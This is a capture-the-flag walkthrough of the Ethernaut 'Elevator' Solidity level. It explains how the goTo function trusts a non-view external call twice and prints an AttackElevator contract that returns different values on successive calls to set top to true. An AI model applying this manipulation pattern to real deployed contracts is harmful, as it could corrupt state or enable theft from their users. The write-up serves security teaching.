11 - Elevator

what can happen when calling a function externally

Ethernaut Level11: Elevator

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

Goal of this level

• make top variable true

What you should know before

• State Mutability -> see here

Solution

Key to solve this problem 🔑

goTo function is not caching the result of calling isLastFloor .

Since isLastFloor is not a view function, we can make it return different value each time it is called.

contract AttackElevator is Building {
    bool called;

    function attack(Elevator _instance) external {
        _instance.goTo(1);
    }

    function isLastFloor(uint256) external returns (bool) {
        if(!called) {
            called = true;    
            return false;
        }
        return true;
    }
}

if (! building.isLastFloor(_floor)) { // building.isLastFloor(_floor) returns false
  floor = _floor;
  top = building.isLastFloor(floor); // building.isLastFloor(floor) returns true
}

isLastFloor function will return false in the first time it is called, and it will return true after first call.

Deploy the contract and call attack() function.

Done! 😎

Key Takeaways

• To prevent functions from modyfing states, declare it as pure or view.